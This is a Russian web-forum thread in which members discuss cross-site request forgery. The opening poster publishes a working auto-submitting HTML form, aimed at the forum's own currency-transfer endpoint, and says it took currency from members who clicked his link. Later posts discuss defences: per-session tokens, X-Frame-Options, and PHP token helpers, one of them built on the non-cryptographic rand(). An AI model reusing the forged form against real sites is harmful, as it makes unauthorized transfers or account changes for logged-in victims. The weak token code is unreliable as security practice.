Недооцененная CSRF уязвимость!
1.
Богдан (03.12.2014 / 01:05)
Решил написать так как многие почему то не недооценивают данный вид атаки и часто забывают о нем при проектировании веб приложения.
https://ru.wikipedia.org/wiki/Межсайтовая_подделка_запроса
Добавлено через 07:34 сек.
Что бы посмотреть в действии - кликай сюда)
P.S при каждом переходе по ссылке вы перечислите мне 500 чатлов, ничего не подозревая при этом.
Принцип работы следующий: на странице ifrmae в котором заполненная нужным мне образом форма. При загрузке iframe срабатывает JS который автоматически отправляет ее на адрес не защищенного сайта.
Это лишь один пример использования. И Вместо перечисления чатлов может быть смена пароля админа, отправка реальных денег и тд.
Для выполнения атаки нужно что бы залогиненная жертва перешла по вашей ссылке.
2.
ramzes (03.12.2014 / 02:06)
что у тебя в form.html?
3.
Богдан (03.12.2014 / 02:08)
<form action="http://visavi.net/pages/perevod.php?act=send&uz=BANDIT&uid=0" method="post" id="form">
<input type="text"name="money" value="500">
<textarea cols="25" rows="5" name="msg">CSRF</textarea>
<input type="submit" value="Перевести">
</form>
<script>
document.getElementById('form').submit();
</script>
4.
ramzes (03.12.2014 / 02:12)
3.
G_A_N_J_A_R, гм... и этим ты мне комп в состояние зомби вогнал? 0_о
5.
Богдан (03.12.2014 / 02:17)
4. странный побочный эффект)
6.
ramzes (03.12.2014 / 02:48)
да, повторно без проблем прошло.
хорошо что я токены использую во всех формах
7.
karpov-ml (03.12.2014 / 03:34)
X-Frame-Options: DENY на сервер, если капчи нет
Хотя хз, возможно и не поможет. Не вникал сильно
8.
Кевин Митник (03.12.2014 / 05:35)
отличная штука
токены - оптимальное решение всех головняков. на ВК токены везде передаются, даже где впринципе нету ничего подозрительного.
9.
Константин (03.12.2014 / 06:36)
1.
G_A_N_J_A_R, вот блин, а ну отдай мне 500 чатлов !!
Добавлено через 06:20 сек.
просто оставлю это здесь
http://m.habrahabr.ru/post/235247/
10.
fhgdfhdfhdf (03.12.2014 / 09:34)
9.
Jahak, спасибо за статью, уже читал когда то, но было полездно прочитать её еще раз. =)
11.
SL@YER (03.12.2014 / 09:49)
7.
karpov-ml, Нет, не поможет. Здесь visavi не через iframe подгружает. Нужен hash при отправке важных запросов.
Ganjar - однозначно молодец)
12.
SL@YER (03.12.2014 / 11:22)
Хотя... от такого вида атак X-Frame-Options: DENY всё же защитит.
13.
Влад (03.12.2014 / 12:56)
Эмм, немного недопонимаю, буду благодарен если кто-нибудь разъяснит.
Хэш авторизации, который хранится в куке, можно считать токеном?
Я при авторизации юзера выдаю ему засоленный хэш из его логина+id, записываю в куку.
То, что кука априори хранится на стороне клиента, по всей своей логике, спасти ситуацию не может, т.к. вредоносу по барабану как эта авторизация у меня хранится, главное чтобы сам сайт меня опознал.
Это так?
То есть, единственное решение - гонять юзера по сайту с дополнительным $_GET['token']?
Что то в роде "http://site.com/section/21/tokenvalue" ?
14.
Богдан (03.12.2014 / 13:02)
То, что кука априори хранится на стороне клиента, по всей своей логике, спасти ситуацию не может, т.к. вредоносу по барабану как эта авторизация у меня хранится, главное чтобы сам сайт меня опознал.
Это так?
верно
То есть, единственное решение - гонять юзера по сайту с дополнительным $_GET['token']?
по всему не надо. Подставлять и проверять нужно только там, где действия пользователя нужно проверять. На том же ВК хеша нет на всех страницах. В формах достаточно подставить hidden поле с хэшем.
15.
Влад (03.12.2014 / 13:11)
14.
G_A_N_J_A_R, понял, спасибо за информацию, раньше даже не думал об этом
16.
ramzes (03.12.2014 / 13:16)
если кто то по глупости откроет сайт для кроссдоменного аякса, то и токены не спасут
17.
Влад (03.12.2014 / 13:19)
Тогда возникает еще один момент: если злоумышленник узнает этот токен у конкретного пользователя, то его(пользователя) уже ничто не спасет, если он перешел по вредоносной ссылке. Вероятность конечно ничтожно мала, но тем не менее учитывать ее стоит. И как с ней бороться разработчикам - даже представить не могу.
А на стороне сервера нельзя разве каким либо образом заблокировать запросы с посторонних сайтов?
18.
ramzes (03.12.2014 / 14:00)
17.
vlad6085, для каждой генерации страницы с формой создается свой токен.
даже если ты узнаешь токен из этой формы, он будет актуален только для твоей сессии с которой ты зашел на страницу с формой, у жертвы же сессия своя, и токена в ней не будет (или будет другой, если ты подсунешь ему незаметно страницу с этой формой)
19.
fhgdfhdfhdf (03.12.2014 / 14:04)
17.
vlad6085, Просто нужен не постоянный токин а сессионный, когда злоумышленник его получит он уже будет просрочен.
20.
Влад (03.12.2014 / 14:14)
ну примерный алогритм токена - что то в таком роде, полагаю:
<?
$soil = '3#0sd7*+12G';
$token = md5(session_id().uniqid().$soil);
?>
и просрочен он будет при каждом обновлении страницы с токеном, за счет изменения uniqid()
записываем его в сессию ($_SESSION['token']), в hidden форму, после отправки формы, проверяем соответствие сессии и формы, удаляем сессию
21.
ramzes (03.12.2014 / 14:19)
давно когда то делал себе.
так вот
<?php
function token($type=true){
$arr = array('a','b','c','d','e','f',
'g','h','i','j','k','l',
'm','n','o','p','r','s',
't','u','v','x','y','z',
'A','B','C','D','E','F',
'G','H','I','J','K','L',
'M','N','O','P','R','S',
'T','U','V','X','Y','Z',
'1','2','3','4','5','6',
'7','8','9','0','.',',',
'(',')','[',']','!','?',
'&','^','%','@','*','$',
'<','>','/','|','+','-',
'{','}','`','~');
if($type==true){
$pass = "";
for($i = 0; $i < 12; $i++){
$index = rand(0, count($arr) - 1);
$pass .= $arr[$index];
}
$_SESSION['token'] = $pass;
return $pass;
}else{
if(isset($_SESSION['token'])){
return $_SESSION['token'];
}else{
return false;
}
}
}
function token_input(){
return '<input type="hidden" name="token" value="'.token(true).'" />';
}
function token_check(){
if(token(false)!=false AND $_POST['token']==token(false)){
unset($_SESSION['token']);
return true;
}else{
unset($_SESSION['token']);
return false;
}
}
22.
Богдан (03.12.2014 / 14:19)
20. Только писать его еще в сессию надо, что бы проверить при получении запроса. И, если в запросе есть токен - не генерить заново.
23.
Влад (03.12.2014 / 14:21)
22.
G_A_N_J_A_R, да да, не успел дописать - ты уже ответил
21.
ramzes, маньяк )
24.
Вантуз-мен (07.12.2014 / 01:43)
на сайте все нормально, csrf защита давно присутствует в движке, просто была выключена
URL:
https://visavi.net/topics/41653